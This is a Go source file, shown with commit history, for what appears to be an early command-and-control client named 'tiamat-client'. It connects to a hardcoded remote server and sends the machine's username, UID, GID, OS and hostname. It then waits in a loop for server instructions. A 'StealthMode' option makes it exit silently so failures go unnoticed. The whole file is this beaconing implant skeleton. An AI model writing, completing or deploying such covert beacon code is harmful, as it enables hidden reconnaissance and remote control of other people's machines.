tiamat-client/main.go

91 lines
1.5 KiB
Go
Raw Normal View History

2024-06-03 10:06:33 +02:00
package main
import (
"encoding/gob"
2024-06-03 15:06:44 +02:00
"fmt"
2024-06-03 10:06:33 +02:00
"log"
"net"
"os"
"os/user"
2024-06-03 15:06:44 +02:00
"runtime"
2024-06-03 10:06:33 +02:00
)
type Client struct {
2024-06-03 15:06:44 +02:00
Username string
UID string
GID string
2024-06-03 10:06:33 +02:00
OperatingSystem string
2024-06-03 15:06:44 +02:00
Hostname string
}
type Instructions struct {
Message string
2024-06-03 10:06:33 +02:00
}
var (
StealthMode bool = false
RemoteIP = "127.0.0.1"
2024-06-03 15:06:44 +02:00
RemotePort = "1302"
2024-06-03 10:06:33 +02:00
)
func main() {
conn, err := net.Dial("tcp", RemoteIP+":"+RemotePort)
if err != nil {
if StealthMode == true {
os.Exit(0)
} else {
log.Fatalf("Error happened connecting to server: %v\n", err)
}
}
defer conn.Close()
if err := sendOSInfo(conn); err != nil {
if StealthMode == true {
os.Exit(0)
} else {
log.Fatalf("Error happened getting OS info: %v\n", err)
}
}
for {
awaitInstructions(conn)
}
}
2024-06-03 15:06:44 +02:00
func sendOSInfo(conn net.Conn) error {
2024-06-03 10:06:33 +02:00
currentUser, err := user.Current()
if err != nil {
return err
}
2024-06-03 15:06:44 +02:00
clientHostname, err := os.Hostname()
if err != nil {
return err
}
2024-06-03 10:06:33 +02:00
newClient := Client{
2024-06-03 15:06:44 +02:00
Username: currentUser.Username,
UID: currentUser.Uid,
GID: currentUser.Gid,
OperatingSystem: runtime.GOOS,
Hostname: clientHostname,
2024-06-03 10:06:33 +02:00
}
2024-06-03 15:06:44 +02:00
enc := gob.NewEncoder(conn)
2024-06-03 10:06:33 +02:00
err = enc.Encode(newClient)
if err != nil {
return err
}
return nil
}
2024-06-03 15:06:44 +02:00
func awaitInstructions(conn net.Conn) error {
dec := gob.NewDecoder(conn)
inst := Instructions{}
err := dec.Decode(&inst)
if err != nil {
return err
}
fmt.Println(inst.Message)
2024-06-03 10:06:33 +02:00
return nil
}